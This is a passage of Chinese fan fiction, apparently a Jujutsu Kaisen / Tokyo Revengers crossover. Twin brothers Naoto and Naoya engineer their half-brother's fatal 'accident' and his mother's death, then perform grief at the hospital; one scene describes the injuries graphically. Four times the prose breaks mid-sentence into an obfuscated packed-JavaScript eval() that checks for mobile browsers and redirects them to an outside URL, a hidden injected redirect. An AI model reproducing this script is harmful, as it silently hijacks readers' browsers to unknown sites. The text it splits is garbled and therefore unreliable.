“因为确定了我没有变心,所以才放心地继续对我这么残忍……” 五条悟放下眼罩,单手插进衣兜,扶着脖子后仰放松。他相当夸张地叹了口气,像说给自己听似的低声喃喃:“真让人心碎,我可不是那种朝三暮四的花心男人。” “你说错了。” 听着五条悟哀怨的话,直人的喉结滚了滚,他重新抬眼看向五条悟,罕见地露出胜利一样的笑容:“你猜错了。” 五条悟脸上一片空白:“诶?” 直人可没打算告诉他,只转动脚尖准备离开。 五条悟还在不停地追问:“真的吗?我真的猜错了吗?” “你不会是因为不想被猜中,所以恼羞成怒,故意骗我吧!” “是真的!?” “糟糕——那岂不是超——丢人的!” 突然,一个花瓶径直从楼上扔下来砸在台阶外的空地上,碎成几瓣,细碎的瓷片飞溅。紧跟着庵歌姬的声音传来:“五条悟,大晚上的你要死是不是!” 五条悟的声音戛然而止,过了一会儿,他又开始戏弄可怜的庵歌姬:“再不睡的话,可是会变老的哦——” “那是因为谁,能不能有点自知之明!你这个混蛋!” 直人没再回头,五条悟和庵歌姬斗嘴的声音越来越远,他停在他和直哉的房门前,拧开门锁推门进去。 房间里面亮着暖黄色的灯,地上堆着直哉的衣服,空气中弥漫着香波和护发精油的香气。 直哉正巧泡完澡出来,一团团白色的雾气从浴室飘出来跟在他身后,他身上的皮肤还泛着红,直哉裹着浴巾,不满地看着门外:“外面什么动静?” 直人反手关上门,把喝过的那罐苏打水递给直哉:“不清楚。” 直哉接过就往嘴里灌,然后把空易拉罐放在桌上,打量了直人两眼,奚落道:“去给被子盖衣服了?” 直人啧了一下,把没开的那瓶紧跟着放旁边,转身又往门外走,直哉在他身后哼出一声冷笑。 等直人带着被褥和外套回来,直哉已经躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887253|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上,相当惬意地翘着二郎腿刷手机。 直人用脚蹬开直哉脱下的衣服,走过去把被子往直哉脸上扔。 直哉反应速度很快,一瞬身闪开,再一眨眼他的胳膊肘已经压在直人的颈部。 两兄弟的距离靠得很近,近到直人能感受到直哉的鼻息。 直哉洋洋得意地挑眉,眼尾上扬,漂亮的眼睛逼近直人:“就你还想赢我。” 直人一呼一吸鼻腔里全是直哉身上的香氛的气味,他偏偏脖子拉开和直哉胳膊的距离,但视线还看着直哉的眼睛,面露嫌弃:“熏死了。” 直哉脸色瞬间难看,他抬手贴近自己的小臂闻了闻,随即骂已经进了浴室的直人没品味,这可是他新买的高级货。 然后他跳下床追进浴室,勒令直人也必须用这个。 半个小时后,香喷喷的两兄弟一起躺在了床上。 时间已经很晚,平时没有任务的时候,两兄弟的作息都很规律。所以关了灯后没多久,直哉的呼吸已经变得均匀平稳。 他的睡姿很规矩,不像小时候喜欢缠在直人身上,压得直人喘不过气。 现在有时候直人半夜醒了,看直哉还是笔直的正面朝上,都要去探一下他的鼻子还在出气没有,怕他其实已经死了。 不过能在睡梦中死掉的话,也算喜丧了。直人心想。 他看了眼又睡得一脸安详的直哉,眼不见心不烦地转身侧睡。 他睁着眼,毫无困意。 他的眼前还在回放刚刚直哉猛然贴近的眼睛,是空的。 五条悟只说对了一部分。 直人从别人眼里看见的不是别人对他的感情。 在他眼里,每个人的眼睛都像一对容器,里面装着有颜色的液体。 直人小时候不懂自己看到的究竟是什么。 母亲坐在长廊上念诗的时候,他趴在旁边盯着她的眼睛看。 那双美丽的眼睛总是空的,无论他是乖乖跟念还是和直哉打闹,里面始终是空的。 惠子和下人们的眼睛不一样。 惠子给他系腰带的时候,他故意踢翻了水盆,她眼里灰扑扑的颜色突然涨满,几乎要溢出眼眶,可她的手还是稳稳地打了个结。 后来他试过很多次,发现只要做得足够过分,每个人眼里的颜色都会这样满出来——但他们从不说什么。 只有直哉的眼睛是活的。 里面盛着的金色液体总是欢快地流动,空荡荡的时候他会亲呢地蹭着直人的肩膀,缠着他一起玩游戏,等颜色漫到边缘就开始摔东西,彻底溢出来时就会尖叫着让直人去死。 于是那段时间直人热衷于把直哉惹得大发雷霆,然后又拿着点心哄好,看那汪金色跌跌涨涨,乐此不疲。 但年幼的直人还是没想清楚这究竟是什么东西。 他和大人们说,大人们只敷衍他。 他有心想让兄弟帮他一起想想,可看着直哉从头到尾都懵懂的眼神,他又觉得指望傻子动脑根本是强人所难的事。 直到某天清晨,直人看着镜子里自己突然也涨满黑色的眼睛,突然明白了。 这是别人对他的容忍。 上天拿走了他的咒力,就赏给他看这些东西。 13. 【九】 和以前一样,禅院兄弟的清晨又是从争吵开始的。 “这里,看到没有?鬓角的弧度!” 直哉把手机屏幕怼到直人眼前,指尖用力点着上面的模特照片。 直人接过手机,对照着镜子里的直哉,面无表情地来回比对。 “不都一样吗。” “哪里一样了!”直哉一把抢回手机,扯过直人的衣领让他看镜子,“你自己看看你梳的,像被狗爪子薅过一样。再看看我给你梳的,你现在就给我剖腹谢罪去死!” 直人瞥了一眼:“你长得又不像他。” 直哉气得眼尾上吊,抓起床头的梳子捅向直人的腰侧,直人径直伸手揪住直哉额前的一绺金发。 “松手!” “你先放的梳子。” 两人在地板上扭打起来,直到直哉的膝盖顶到直人胃部,直人吃痛松劲,被直哉反手按在衣橱前。 “重梳。”直哉把梳子塞进他手里,对着镜子眯起眼睛,“要是还梳不好……” 直人看着镜子里直哉威胁的挑眉,拿起梳子沾了沾水。 “知道了。” 他扯直哉头发的时候故意多用两分力,在直哉发作前迅速抹平翘起的发梢。 直哉对着镜子左右转头,突然伸手抓乱直人的刘海。 “丑死了。” 说完直哉心情愉悦地起身离开,留下直人对着镜子里一团乱毛皱眉。 他抓起手边的定型喷雾,朝着直哉后脑勺连续按压三次。 “你他妈——” 直哉猛地转身扑过来,两人再次滚作一团。 两兄弟再一次心平气和地在镜子前坐下来,是十分钟后。 直人刚刚的功夫算是白费了,他把自己的头发随便往后一抓,在后脑勺扎了个小揪,露出额头,照着记忆给直哉重新打理。 直哉在推特上翻知名博主的发型推荐,翻到一个帖子的时候,指尖突然停下,抬起眼直勾勾地盯着直人。 直人的眼睛完全露出来后和直哉显得更像了,倒不如说两兄弟本来就是复制粘贴出来的脸。 只是直人的眼皮总是无精打采地耷拉着,眉毛的弧度下垂,右边眉尾有两道浅疤,是他之前打眉钉豁开后留下的。 直哉当时看他打眉钉觉得很帅,也准备去打一个,结果被直毘人逮住,说他们两个脸上要是敢再多一个孔,就把他们两个栓到乡下田里去当水牛使。 “我说,你去染个这种的怎么样?” 直哉把手机举到直人眼前,上面模特的发型长度和直人差不多,黑发内层染了白色,头发自然下放的时候只露出白色的发梢。 直人瞥了眼屏幕,继续手上的动作:“不要。” “为什么?” “像老头子。” 直哉踹了脚面前的矮凳:“你懂什么审美!” 镜子里直人的眼皮依旧耷拉着,右手稳稳地给最后一缕头发定型。 直哉还想说,房门突然被敲得哐哐响。 直哉骂咧咧地歪了下脑袋,直人把细齿梳卡在浴衣腰带上,转身去开门。 房门打开,站在门外的时候怒气冲冲的庵歌姬。 “你们——”她深吸一口气,手指恨不得要戳到直人脸上,:“所有人十分钟前就该在训练场集合了!” 直人怔了一下,回头看了眼墙上的挂钟:“不是还有二十分钟?” “那是学生集合的时间,你们两个,昨天开会果然没有认真听吧!” …… 的确没有办法反驳。 “你兄弟呢?别告诉我他还没起床!” 庵歌姬没好气地一指头戳在直人肩上,直人侧过身让出空间,庵歌姬的视线正好对上镜子里直哉不耐烦的眼神。 “吵什么?”直哉慢条斯理地调整着耳钉,“又不是什么重要的事。” “京都校的脸都要被你们丢光了!” “我们又不是京都校的老师。” 直哉嗤笑一声,顺手拿起桌上的发胶朝门口晃了晃:“要帮忙吗?歌姬老师的刘海好像有点塌呢。” 庵歌姬气得脸色发青,正要发作时直人往前半步,恰到好处地隔开两人视线。 “我们马上去。”他的声音平稳,“劳烦您特意跑一趟。” 这句客套话反而让庵歌姬更加火大。 她瞪了眼直人,知道这人本质上和他的同胞兄弟没有区别,转身时木屐在走廊地面踩得啪啪作响。 “粗鲁的丑娘们儿,”直哉起身穿上羽织,低头整理腰带:“她这种女人等拖到40岁了也嫁不出去。” 直人没吭声,只盯着直哉若有所思。 “你看什么?”直哉皱眉:“过来,头发乱死了。没听到她说么,我俩把京都校的脸都丢光了。” 直哉见直人还像个木桩子,没当回事,伸手梳子从直人腰带里抽出来,直人顺势往后坐在凳子上,直哉扯掉他脑后的小揪,手法利落地给他梳发。 投射咒法用到这里相当省时,不过几个残影,直人的发型就重新打理回开始的样子。 “又在想什么?”直哉欣赏着自己的作品,还掏出手机将两人框进自拍,“快穿衣服,敢弄乱头发你就死了。” “没什么。”直人套上和服,两兄弟穿的是一样的款式,只是羽织上的符文不同。 “我只是在想——”直人抬眼看着双手环胸,正等他下文的直哉,慢吞吞地接上:“你这种人会不会到六十岁都娶不到老婆。” 直哉对包办婚姻嗤之以鼻,认为自己并不需要靠女人巩固地位。 从他第一次把这话甩在直毘人脸上,并且直毘人还答应之后,直人就真的从那时开始思考,以禅院直哉这种性格真的能成功自由恋爱吗? 风介给出的回答是,如果对方是直人性转,那还有点可能。 直哉脸上的笑容凝固了。 他盯着直人看了两秒,突然抬脚踹在直人刚穿好的羽织下摆,力道不轻,正好踢在小腿骨上。 “你他妈——”直人吃痛,下意识弯腰去揉。 “我这种人?”直哉揪住他后领把人拽起来,手指戳着他胸口,“我这种人怎么了?” 直人拍开他的手,面无表情地整理衣领:“字面意思。” “哈。”直哉短促地笑了一声,绕着直人走了一圈,目光在他身上扫来扫去,“说得好像你这种人就能找得到的。” 他停在直人面前,抬手捏住他下巴,迫使他抬起头:“整天顶着这张死人脸,说话不超过三个字,哪个女人看得上你?” “我又不喜欢女的。”直人坦然地说。 …… 直哉低声骂了句脏话。 “你以为你找男人的眼光就很好吗?”直哉绝不会轻易认输。 意识到直哉又要开始翻烂账,直人越过他往门外走:“别让人等太久了。” “别装聋,你是不是以为我不知道,你推特最近关注了个卖饭团的!” “饭团很好吃?你是喜欢饭团还是喜欢做饭团的呢?我可看见你给他的自拍照点赞了。” “……我和他只见过一次,都没有互换line。” “怎么,没被人家瞧上?……哈,你可是和我长着一样的脸,他眼睛瞎!?” “说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887254|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,说不定他喜欢女性。” “啊这样,那我就祝福你以后喜欢的男性都是异性恋好了。” 等两兄弟走到场地的时候,学生们也到得差不多了。 京都校和东京校的学生自然地分成两拨,直人一眼看到真依和真希,她俩站在人群的最靠外的两边,一副老死不相往来的架势。 真依最先注意到直人,但随即看到直人边上的直哉,脸上刚要扬起的笑又缩了回去。 一个黄头发的女生正贴着她说话,注意到真依的异样,往这边看了过来,直人向她点点头,那个女生也笑着朝他挥了挥手。 “真讨女孩子喜欢啊,我们直人,可惜。”直哉视线放在直人下半身,阴阳怪气。 真希也看到了直人,爽利地抬手挥了挥,在看到直哉的时候眼不见为净地直接别过脸,马尾在脑后轻晃。 “这个废材——” 直哉正要过去和他的好妹妹打个招呼,直人一把拽住他的胳膊往老师的队伍走:“夜蛾在点人了。” “连孩子都懂得守时,很简单的道理。你说呢,冥冥?”见兄弟俩过来,庵歌姬扬声对身旁的冥冥说。 冥冥笑眯眯附和:“你说得对。” 直人装作没听见,视线落在场地中央的草坪上。 直哉却突然笑起来,声音甜得发腻:“歌姬老师说得对极了,都怪我因为太重视这次活动,出门的时候总担心自己的形象不得体,所以才反复调整。” “真羡慕歌姬老师,不会有我们这样的苦恼。”他边说边朝歌姬眨了眨眼,目光毫不遮掩地落在歌姬面上的疤痕上:“毕竟,歌姬老师无论怎么修饰,也盖不住自己荣耀的证明吧?” …… 直哉后知后觉啊呀了一声,笑着道歉:“不好意思,如果我说了让你不舒服的话,请原谅我。” …… 直哉轻飘飘的道歉悬在半空,庵歌姬面色铁青,没有作出任何回应。 五条悟站在学生那边,看向直人时脸上挂着幸灾乐祸的笑。 但是他很守承诺,没过来再添一把火。 一口浊气从直人嘴里飘出来,他回头,向庵歌姬颔首,表达歉意的话还没说出口,庵歌姬已经扭头走了。 直哉毫不在意,转而开始打量两校的学生。 夜蛾正道站在场地前方,沉声宣布交流会的流程和注意事项。 直哉听了两句就觉得无聊,手肘撞了下身旁的直人:“喂,哪个是乙骨忧太?” 直人没回头,只朝东京校队伍末尾那个看起来有些局促的黑发男生抬了抬下巴。 “就他?”直哉挑眉,声音里带着毫不掩饰的失望,“黑眼圈比你都重。” 他刻意没有压低音量,乙骨忧太明显听见了,身体微微一僵,有点窘迫。 真希啐了一口,上前一步挡在乙骨身前,隔开直哉的视线。 直人心想,他们肯定很快就要成全日本最惹人厌的兄弟了。 “消停点。”他拽着直哉的衣摆,补充:“别忘了父亲的话。” 直哉嗤了一声:“别老拿那个老不死的压我。” 话虽这么说,但他没再做出些出格的事。 夜蛾的讲话终于结束。团体赛即将开始,学生按抽签结果进入赛区,教师与御三家代表移步观战室。 直人正盘算提前离场的借口,直哉的手机响了。他接起电话,不知对面说了什么,但那灿烂的笑容让直人明白——肯定有好事发生。 果然,挂断电话后,直哉换上悲痛的表情,声音焦急: “直人,直贺兄长骑车不慎冲出山崖,正在医院抢救。” 14. 【十】 面对兄长如此悲切的反应,直人只是沉默地看着,面部肌肉细微地抽动了一下。 半晌,他开口:“是吗?” 直哉凑近一步抓起直人的手,指甲在他掌心掐了一记,瞳孔里映出直人的脸,声音忧心忡忡:“我们得立刻赶去。兄长遭此大难,做弟弟的,总不能缺席。” 其他人已经注意到这边的动静。夜蛾正道眉头紧锁,庵歌姬则毫不掩饰地投来厌恶的一瞥。 五条悟露出的半张脸没有表情,他没看过来,仍旧双手插兜,仿佛事不关己。 “我去安排车。”直人抽出手,反手握住直哉的手腕,用了点力道将他拉近:“这里交给你。” “知道了。”直哉静悄悄地笑着。 直人面向夜蛾,鞠了一躬:“还请容许我先行告退。” 夜蛾声音复杂:“你先去吧……你哥哥的事,节哀。” 直人脚步一顿,转身快步离开。 直哉的声音在他身后响起:“您真是的,直贺兄长还没死呢。” “不过——”直哉停顿,眼角眉梢挂着惋惜,声线却尖锐:“据医生说抢救成功的可能性不大,也只是时间问题了。” “我们会节哀的。” 直人将车开到路边,直哉已经等在那里。 他开门坐进副驾,系上安全带,声音里没残留什么情绪,轻飘飘的:“走吧。” 直人瞥他一眼,踩下油门。 直哉伸手打开车载电台,调到新闻频道。 女主播正播报今早发生在东京郊区的一起交通事故,四名成年男性骑摩托车出行观赏日出,其中一名叫藤野贺的二十八岁男子因车辆失控冲出围栏,跌落山崖,目前正在医院抢救。 直哉听得发笑,连连鼓掌:“你听见了吗,已经上社会新闻了,真是——好风光啊,哥哥。” 直人没有回应。 直哉还在笑,抹去眼角的眼泪,开始赏析直贺的新名字:“我之前就想,怎么会有人的名字是蛾子。配上禅院的姓氏,姑且算是名贵品种,现在最多只能等着被人捏死。” 直人转动方向盘,按导航提示汇入车流。 直哉扭头看着直人面无表情的侧脸。他倚在窗边,单手撑颚,饶有趣味地观察直人的反应:“你这是什么意思,刚刚在高专我差点以为你要哭出来了。” “你对他有这么深的感情?”直哉猛然凑近,直勾勾盯着直人,“舍不得了?” 直人分了点余光给他。直哉冷笑:“舍不得早说啊,早说你这么爱这个哥哥,我就留他一条命给你当狗养。” 红灯亮起。 直人踩下刹车,终于回头看向直哉,声音平静:“为什么是抢救?” 直哉皱眉:“什么?” 乌黑的眼睛从刘海下方定定看着直哉,直人重复:“为什么还在抢救?” “不是摔下山崖了吗,怎么没死?” 并不指望得到答案,直人收回视线看向后视镜,手摩挲着方向盘,低声自语:“还好今天硝子不在。” “……” 直哉靠回座位,目视前方:“反正离死不远了。” 说完,他低声骂了句:“谁知道这个杂种命这么硬。” 不过他也没真为此烦心:“老不死的急哄哄把他姓都改了,就算真活下来也不会再让他回去。” “到时候是死是活,也就是我一句话的事。” 绿灯亮起,车辆向前滑行。 “谁干的?” 直人又问。 “信一。”直哉切了首歌,要笑不笑地看着直人,“托你的福,那小子挺喜欢你的,所以干起事来很卖力。” 信一比直人小七岁,刚进炳时被前辈刁难,直人遇见过,帮他解过几次围。 这次直贺被远调,信一正好是随行者之一。 直人抬抬下巴,活动了下颈椎,没再说话。 车子停在医院门口,两人下车。消毒水的气味扑面而来。 一路找到急诊室门外,直哉脸上挂着恰到好处的悲伤。直人视线扫过空旷的走廊——三个发型各异的陌生人,两名警官,以及面色忐忑的信一。 信一的目光和直人对上第一眼,他细微地移动瞳孔向急诊室大门示意,又与直人视线交汇,轻轻一点头。 随后,他才带着焦急的哭腔喊道:“直人大人、直哉大人,你们终于来了!” 那三个陌生人和警官也看过来——或者说,其实在直哉和直人刚出现的时候,他们的视线就已经落在这对惹眼的兄弟上了。 “直贺哥怎么样了?”直哉声音微扬,快步走到信一身边。 “医生、医生说只能尽力抢救,但是——”信一的声音掐断,用哽咽替代后半句。 直人驻足,看向其余几人。他垂着眼,面上没什么表情,稍长的发丝垂在脸颊两侧,显得颓然。 场地圭介看着这一幕,攥紧双拳,朝直人猛地深鞠躬:“对不起!” 旁边的松野千冬和羽宫一虎也紧随其后:“非常抱歉——” 直人站在原地,目光从三人低垂的头顶扫过。 “怎么回事?”他最后看向警官,喉结滚动,声音里带着哽塞般的停顿。 年长的警官合上记事本:“初步判断是意外。事故监控显示,车辆是在正常行驶途中失控的。但车辆损毁严重,无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887255|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复原检修。” 场地抬起头,声音沙哑:“在公路上的时候,贺哥的车突然就冲出去了……” 他没再说下去,别过脸,像是不忍。 半晌,他重新望向直人,声线坚定:“我们不会逃避责任。贺哥现在这样,都是我们的错。” 松野千冬和羽宫一虎立刻向前一步:“是我们缠着贺哥出来的……我们看贺哥这几天心情不好……”他们的声音开始变调,最后索性又是一个九十度鞠躬:“我们会承担一切责任!” …… “这样啊。”短暂的沉默后,直人说。 他点点头,刘海下的双眼看不出波动,雾蒙蒙的。瘦长的身形后退两步,转身面向急诊室,宽松的袴摆晃动。 直人的声音很低,语速很慢,有几个音节吐出时生涩不稳,但很快压了下去:“没关系。你们是兄长的朋友,我们很感激你们对兄长的陪伴。” 三人一震,死死咬住下唇。 抢救室的灯还亮着。 直哉站在最前面,背对所有人。 信一回头看向直人。直人看他一眼,向警官和场地三人颔首,温声解释自己还需通知其他亲属,需短暂离场。 场地圭介三人忙不迭让直人安心,保证他们会一直在这里,陪伴直贺。 直人垂下的眼睫挡住双眼,身体又弯了几分:“哥哥能有你们,是我们的荣幸。” 说完,他不再停留,转身离开。 信一立即会意,抹了抹擦红的眼尾,快步跟上。 两人走到无人的角落,直人低声问: “藤子夫人好些了吗?” 信一左右看看,答:“听说还在为加茂川的事伤心,已经不太能起床了。” “毕竟是已故亲姐姐的儿子……父亲还是没去看过?” “是。家主知道藤子夫人生病的原因,很生气。何况藤子夫人身体原本就不大好,家主已经有些厌烦。” “直贺兄长出事的消息她知道了吗?” “还不知道。照顾她的医生说,她再经不起刺激,让我别告诉她。” “这怎么行。”直人幽幽叹了口气,“藤子夫人爱子心切,总要让她知道儿子的现状。” “现在就去,就说,直贺出了车祸,人已经走了。” 信一两眼微瞪,但对上直人的眼睛,还是低头应是。他转身刚要走,直人又叫住他: “记得让她别太伤心。直贺在下面有加茂川作伴,不会太孤单的。” “还有,直贺不中用了,劳烦你这段时间接替他的任务。”直人看着信一的眼睛,抿唇微笑,向他微一躬身:“我相信你可以的,信一。” 15. 【十一】 直人回到急诊室门外,恰巧门上的红灯熄了。 门被推开,穿着手术服的医生走了出来,额上带着细汗。 几乎在同一时间,所有人都围了上去——场地圭介三人、两位警官,他们急切地想要询问手术的情况,直哉挤在最前面,声音焦急:“医生,我哥哥他……?” 医生摘下口罩,目光在众人脸上扫过,最后沉重地摇了摇头。 “我们尽力了。” 这句话清晰地钻进直人的耳朵,他站在人群的最外围,目光越过医生,越过直哉,自顾自盯着急救室敞开的大门。 他双手交叠,垂在身前,直哉的啜泣声忽高忽低,呕哑难听。 直人疑心他是不是已经忘了哭是怎么一回事,毕竟他这些年过得太顺风顺水,生活中并无值得他落泪的挫折。 直人被他哭得耳膜呜噜呜噜地鼓动,刺痛一阵一阵从耳道里顶出来,他想抬手去摁,手臂却抬不起来。眼睛仍定定望着急诊室方向。 病床被推了出来。白色遮盖布下覆盖着一个清晰的人形轮廓。 直哉低呼一声“兄长——”,扑过去,抢占了离直贺最近的位置。 松野千冬和羽宫一虎也跟上去,他们围在两边,泣不成声地呼唤直贺的名字。 直人看着这一幕意识回笼,迈开脚的一瞬间,眼前一黑,身体晃了一下。他下意识抬手扶额,另一边小臂被人稳稳扶住。 直人转头,看见场地圭介。 那双黑眼睛担忧地看着他,愧疚和悲伤坦率地写在脸上。场地扶着他的手力道平摊在掌心,指尖小心避开皮肉。 与直人四目相对后,场地率先移开视线。长发从肩头滑落,挡住大半侧脸,露出的嘴角紧绷。 他看向直贺的遗体,声音粗哑:“我……很抱歉。请节哀。” 直人没有回答。 他看向直哉。 直哉伸出手,两根手指捻住白布边缘,在众人注视下颤了颤,轻轻挑开。 白布下面露出直贺的脸。 那已经不能算脸了。 靠近直哉的左半张脸,皮肉被削掉大半,露出白色的骨头。血肉糊成一团,沾着干涸发黑的血迹。左眼皮不见了,血糊糊的眼球裸露在外面。 直哉准备俯身的动作停住了。 他的视线在直贺脸上扫过,沉默了一秒,转而将白布继续往下掀,决定变换策略去握直贺露在被子外的手。 结果,那只手连同小臂,也已经血肉模糊。碎裂的骨头碴子刺出皮肤。 禅院直哉面色铁青。 他的手悬在半空,指尖蜷缩又伸直,实在是落不下去。他微微侧过脸,视线来找直人。 直人上前一步,不动声色挤入人群。 他宽大的衣摆和高挑身形恰好挡住直哉。直哉顺势后退半步,将位置完全让出。 直人没有犹豫,径直伸手,稳稳握住直贺那只不成形的手。 掌心完全贴合那片冰冷黏腻的皮肉,手指收拢。 直哉紧靠在他身侧,抽出手帕,一下下轻摁眼角。 见此情形,松野千冬死死咬住嘴唇,想掐断自己的声音。羽宫一虎闭眼低头,眼泪落在白布上,洇开几团深色水渍。 场地圭介站在直人另一边。他紧紧盯着直贺面目全非的脸,没有恐惧,没有恶心,也没有哭。嘴角的肌肉微微鼓动。 直人握着那只手,弯腰靠近直贺的脸。孤零零的左眼球正对着他,像还活着。 直人将这张脸看了又看,低声说:“很感谢过去十多年您对我的照顾……万分感谢。” 停留两三秒后,他平静地松开手,将白布重新拉上,细致盖过直贺头顶。 他转向场地三人,声音低沉平稳: “请不要为此内疚。兄长他只是去了没有痛苦的地方。” 回应他的是三人又一次深鞠躬。 直哉在白布盖上后已经转身。他走到走廊边缘打电话,直人隐约听见他在联系收殓队。 场地圭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887256|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介上前一步:“之后葬礼的安排,如果需要帮忙,请务必告诉我们。” 直人微微颔首:“抱歉,按照家里习俗,兄长的遗体会直接送回京都。不对外举行葬礼。” “这样吗……”场地低下头,长发再次遮住表情。沉默片刻,他再次深鞠躬:“我们明白了。” 直人没再说话。他看着场地三人向直贺遗体作最后道别,随后被警官领去办理手续。 走廊重新安静下来,只剩消毒水的气味,和远处直哉打电话的模糊声音。 收殓队来得很快。直人瞥了一眼,注意到制服是东京咒术协会的,不是禅院家的人。 他们麻利检查尸体,确认死亡后开始装入裹尸袋,进行搬运。 直人站在旁边问:“什么时候火化?” “今晚统一火化,骨灰存入东京院校仓库。” 领队拿出登记表让直人签字。直人在死者栏写下“藤野贺”,在确认人签名处停顿一下,写下“五条悟”三个字。 领队只看一眼,在死亡原因栏写下“常规事故”,照常回收表格。 直哉走过来,脸上挂着嘲弄的表情:“风介来电话,藤子心脏病突发,刚刚过世了。” “怎么回事?”直人看向他。 直哉双手环胸,声音漫不经心:“听说是听到其他女人议论,说她儿子在外面鬼混,一文不值地死掉了。” “那种懦弱的女人突然敢跟她们争论。吵着吵着一口气没上来,死了。” 直人目送直贺的尸体被带走,直到消失在走廊拐角。 直哉低笑两声,声音压下来:“很聪明的孩子。” 直人没否认:“这次的事,他做得很好。” “你准备让他完全顶替直贺?” “还太早。炳的二番队队长上个月死了,位置还空着。” 直哉嗤笑:“那就让他试试看。” 他话锋一转,盯着直人的手,面露嫌恶: “你洗手了没有?” 16. 【十二】 直人走进洗手间,感应灯应声亮起,惨白的光落在空荡荡的盥洗室。他走到最里的洗手台前,拧开水龙头。 水声哗哗作响。 隔间的门被推开,场地圭介走了出来。他看到直人,脚步顿了一下,似乎想打招呼,嘴唇动了动,却没能发出声音。 直人透过镜子看着他。 场地圭介抓了抓头发,有些窘迫:“那个……” “藤野直人。”直人关掉水龙头,水声戛然而止。他从镜子里看着场地圭介,“我叫藤野直人。” “……场地圭介。” 场地圭介走到旁边的洗手台,看着直人细致地将透明的消毒洗手液抹在手指的每一个缝隙,连指甲边缘都没有放过。 “藤野先生,”场地圭介的声音在空旷的洗手间里显得有些低沉,“我很抱歉……对于直贺哥的事。” 不是贺,直贺。 直人没有停下手中的动作。 “他那么好的人——” 场地圭介猛地止住话头,他仰起脸,又别开看向别的地方,张嘴换了几口气,胸脯一上一下地起伏。 直人礼貌地移开视线,给他整理的空间。 过了几秒,场地圭介才重新平复下来,声音放得轻:“直贺哥,他那么好的人,本来能……有更好的——” 他没说完。 水流声再次响起,直人将手上的泡沫冲掉。 他眼神放空地看着泡沫顺着指尖和缝隙流走,漫不经心地想,你看,就连你的朋友也觉得你死得不值钱。 真可惜。 场地圭介看着镜子里的直人,他垂着眼,眼睛无神地放在自己手上,嘴角下弯,脸型瘦削。 习惯性低垂的脖颈从规整的领口伸出来,下方露出的小半截手臂具备男性应有的粗壮骨骼和线条,但谈不上强壮结实。 疲惫。 这是直人给场地圭介的第一印象。 和与他同行的那个精力旺盛的兄弟完全不一样,直人累得好像下一秒就要倒地不起。 行走和说话都没什么力气,得知直贺的噩耗只是静静地站在那里,连悲伤都表现得那么倦怠。 让人心碎。 从镜子里对上直人的目光,场地圭介意识到自己的视线停留得太久,他慌忙移开眼,表示抱歉。 又是一阵沉默。 “我知道他是咒术师。”场地圭介忽然说。 …… 水流声停止。 直人关上水龙头,安静的空间只剩下水珠滴答、滴答。 直人的目光从镜子上抽离,低头看水珠从指尖滚落,然后缓缓转过脸,抬眼看向场地圭介。 或许是灯光的原因,或许是散落的头发的原因,他的眼睛很黑,直直地盯着场地。 场地圭介没由来地感到不安。 一晃然他觉得这副面孔似曾相识,但无法想起在哪见过。 最后他把这归因于第一次和直人直接对视。 “他……和你们说了?”直人的声音很轻,在空旷的洗手间悠悠地飘起来。 场地圭介回神,他点点头,声音很认真,“在我们遇到那种……‘东西’的时候,是直贺哥出现救了我们。他是英雄。” “我们就是这样和他认识的。” “这样啊。”直人看着他,这样说。 他重新垂下眼,起身,抽出手帕,一根一根手指地擦拭。 场地圭介继续说:“他说他来自一个咒术师家族,族里有很多很厉害的父兄。他说他感到很有压力,但也想变得更强,想要……能够辅佐他的兄弟。” 直人没有抬头,他的动作很慢,很仔细,略微偏侧的角度告诉场地圭介,他在听。 “但是,在我们心中,直贺哥已经很厉害了,我们希望他能为自己也感到骄傲。”场地圭介的手撑着台面,他低着头,长发挡住他的脸,直人听见他的声音从齿缝钻出来已经变调。 “我们——一直为他,为我们能有他这样的朋友,自豪啊——!” 场地圭介再也抑制不住他的悲痛,断断续续的哭声从他紧咬的牙关里倾泻而出。 直人看着他耸动的肩膀,耳道里已经被他的声音塞满。直人转头看向门口,他记得直哉说先回去车上,现在应该在听着音乐刷推特。 